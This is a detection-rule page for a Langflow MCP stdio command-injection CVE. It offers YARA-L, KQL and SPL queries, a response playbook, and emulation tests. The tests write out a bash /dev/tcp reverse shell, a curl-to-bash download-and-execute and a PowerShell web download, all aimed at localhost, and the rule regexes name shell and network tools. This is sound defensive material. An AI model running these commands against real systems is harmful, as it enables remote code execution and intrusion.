CVE-2026-105697 Google Chronicle · YARA-L

Detect Langflow MCP stdio Server OS Command Injection (RCE) — CVE-2026-105697 in Google Chronicle

Detects exploitation of CVE-2026-105697, an OS command injection vulnerability (CWE-78) in Langflow's MCP (Model Context Protocol) stdio server configuration. Affected Langflow/langflow-base/lfx versions allow an attacker who can supply or modify an MCP stdio server configuration to specify an arbitrary command and arguments that Langflow spawns as a child process, resulting in remote code execution on the host running the Langflow server. CVSS 9.9 (critical). A public PoC exists (GHSA-w794-rj3p-xv45). Detection focuses on the Langflow/uvicorn parent process spawning unexpected child processes (shells, interpreters, network tools) consistent with an attacker-controlled MCP stdio command, and on suspicious MCP server configuration changes via the Langflow API.

MITRE ATT&CK

Tactic
Initial Access Execution

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule langflow_mcp_command_injection_cve_2026_105697 {
  meta:
    author = "Argus Detection Platform"
    description = "Langflow MCP stdio OS command injection RCE (CVE-2026-105697)"
    severity = "CRITICAL"
  events:
    $e.metadata.event_type = "PROCESS_LAUNCH"
    re.regex($e.principal.process.parent_process.file.full_path, `(?i)(langflow|uvicorn|gunicorn|python3?)$`)
    re.regex($e.principal.process.parent_process.command_line, `(?i)langflow|lfx|mcp`)
    re.regex($e.target.process.file.full_path, `(?i)(sh|bash|zsh|dash|nc|ncat|netcat|curl|wget|powershell|pwsh|cmd|perl|ruby|node)(\.exe)?$`)
    re.regex($e.target.process.command_line, `(?i)(-c |/dev/tcp|bash -i|base64|python -c|curl |wget )`)
  condition:
    $e
}
critical severity medium confidence

Chronicle YARA-L 2.0 rule matching Langflow-hosted process launches of suspicious children with injection command lines.

Data Sources

Chronicle UDM PROCESS_LAUNCH events (EDR/Sysmon/auditd)

Required Tables

udm.events

False Positives & Tuning

  • Interpreter-based MCP servers legitimately spawned
  • Admin shells in the Langflow container
  • Automation wrapping the langflow CLI

Other platforms for CVE-2026-105697

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 Simulated MCP stdio reverse-shell command spawn (Linux)

    Expected signal: Process creation event: python3 (parent) -> bash -c 'bash -i >& /dev/tcp/...' child process with reverse-shell command line.

  2. Test 2 Simulated MCP stdio download-and-execute (Linux)

    Expected signal: Process creation: python3 -> sh -c 'curl ... | bash' with outbound curl to attacker host.

  3. Test 3 Simulated MCP stdio arbitrary command (Windows)

    Expected signal: Sysmon Event ID 1: python.exe -> powershell.exe with web-request command line.

Last updated: 2026-10-23 Research depth: standard
References (10)

Response Playbook

Triage

  1. Confirm the Langflow version on the affected host (`pip show langflow langflow-base lfx`); anything < 1.10.3 (or langflow-base >= 0.1.2 < 0.10.3) is vulnerable to CVE-2026-105697.
  2. Review the Langflow MCP server configuration (MCP stdio server entries) for any 'command'/'args' values referencing shells, interpreters, or network tools not expected in your environment.
  3. Examine the alerting process tree: identify the child process command line spawned by the Langflow/uvicorn parent and determine whether it matches a legitimate MCP tool server or an injected command (reverse shell, downloader, enumeration).
  4. Correlate the timestamp of the suspicious child process with Langflow API/audit logs for recent flow edits or MCP configuration changes and the source IP/user that made them.

Containment

  1. Isolate the affected host from the network to prevent lateral movement or data exfiltration from the RCE foothold.
  2. Stop the Langflow service/container and remove or revert any attacker-added MCP stdio server configuration before restarting.
  3. Rotate credentials, API keys, and secrets accessible to the Langflow process (database creds, model API keys, cloud tokens) as they must be considered compromised.

Evidence Collection

  1. Capture the full process tree, command lines, and environment of the Langflow parent and spawned children (e.g., from EDR or `ps`/auditd logs).
  2. Preserve Langflow application and access logs, the MCP configuration store / flow definitions database, and any files written by the spawned process.
  3. Collect network connection records (netstat/EDR) around the event to identify C2 or exfiltration endpoints.

Escalation Criteria

  • !Escalate to IR immediately if the spawned child process established an outbound/reverse connection or executed a downloader — treat as confirmed RCE.
  • !Escalate if MCP configuration was modified by an unexpected user/IP or if the Langflow instance is internet-exposed, indicating potential external compromise.
  • !Escalate if secrets or credentials reachable by the Langflow process may have been accessed, triggering broader credential-rotation and breach workflows.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Langflow MCP server configuration entries (command/args) stored in the flow/project database
  • >Process creation logs showing the Langflow/uvicorn parent spawning an unexpected child
  • >Files or payloads dropped by the spawned process and outbound network connection records
  • >Langflow API access logs capturing the configuration change and originating IP/user

Tuning Guidance

Enumerate the legitimate MCP stdio tool servers configured in your Langflow deployment and allowlist their command/args and resulting child process names to suppress expected interpreter launches. If Langflow runs in a container, scope the detection to that container/host and treat any shell or network-tool child as high fidelity since interactive shells should not normally originate from the server process. Upgrade to Langflow 1.10.3+ to remediate; after remediation, keep the detection as defense-in-depth but raise the command-line specificity (reverse-shell and base64 patterns) to reduce noise.

Hunting Queries

Baselines which child processes the Langflow host spawns so analysts can spot anomalous shells/network tools indicative of MCP stdio command injection.

Hunting — KQL
kql 
DeviceProcessEvents | where InitiatingProcessFileName in~ ("langflow","uvicorn","python","python3") | where InitiatingProcessCommandLine has "langflow" | summarize Children=make_set(FileName), Cmds=make_set(ProcessCommandLine) by DeviceName, bin(Timestamp,1h) | where Children has_any ("sh","bash","nc","curl","wget","python","node")
Hunting — SPL
spl 
index=edr (parent_process_name=langflow OR parent_process_name=uvicorn OR parent_process_name=python*) parent_process=*langflow* | stats values(process_name) as children values(process) as cmds by host | search children IN (sh,bash,nc,curl,wget,node)

Atomic Red Team Tests

Test 1 Simulated MCP stdio reverse-shell command spawn (Linux)
linux

Emulates the Langflow server spawning an injected MCP stdio command that launches a reverse shell, as would occur via CVE-2026-105697.

Command

bash 
python3 -c "import subprocess; subprocess.Popen(['bash','-c','bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'])" &

Cleanup

bash 
pkill -f '/dev/tcp/127.0.0.1/4444' 2>/dev/null; pkill -f 'bash -i' 2>/dev/null; true

Expected Telemetry

Process creation event: python3 (parent) -> bash -c 'bash -i >& /dev/tcp/...' child process with reverse-shell command line.

Expected Detection

KQL/SPL/EQL rules match on Langflow-style parent spawning bash with /dev/tcp reverse-shell pattern.

Test 2 Simulated MCP stdio download-and-execute (Linux)
linux

Emulates an injected MCP command performing download-and-execute via curl piped to a shell.

Command

bash 
python3 -c "import subprocess; subprocess.Popen(['sh','-c','curl -s http://127.0.0.1/payload.sh | bash'])" &

Cleanup

bash 
pkill -f 'payload.sh' 2>/dev/null; true

Expected Telemetry

Process creation: python3 -> sh -c 'curl ... | bash' with outbound curl to attacker host.

Expected Detection

Detection matches on Langflow parent spawning sh/curl with download-execute command line.

Test 3 Simulated MCP stdio arbitrary command (Windows)
windows

Emulates a Langflow (python/uvicorn) process spawning an injected PowerShell command on Windows.

Command

powershell 
python -c "import subprocess; subprocess.Popen(['powershell','-c','Invoke-WebRequest http://127.0.0.1/x -OutFile $env:TEMP\\x.txt'])"

Cleanup

powershell 
del %TEMP%\x.txt 2>nul & exit /b 0

Expected Telemetry

Sysmon Event ID 1: python.exe -> powershell.exe with web-request command line.

Expected Detection

KQL/CQL/YARA-L rules match on Langflow parent spawning powershell with download command line.

Related Detections

Tactic Hubs

TA0001 Initial Access TA0002 Execution ATT&CK Matrix

Related Techniques

T1190 Exploit Public-Facing Application T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

Same Tactic: Initial Access

Popular Detections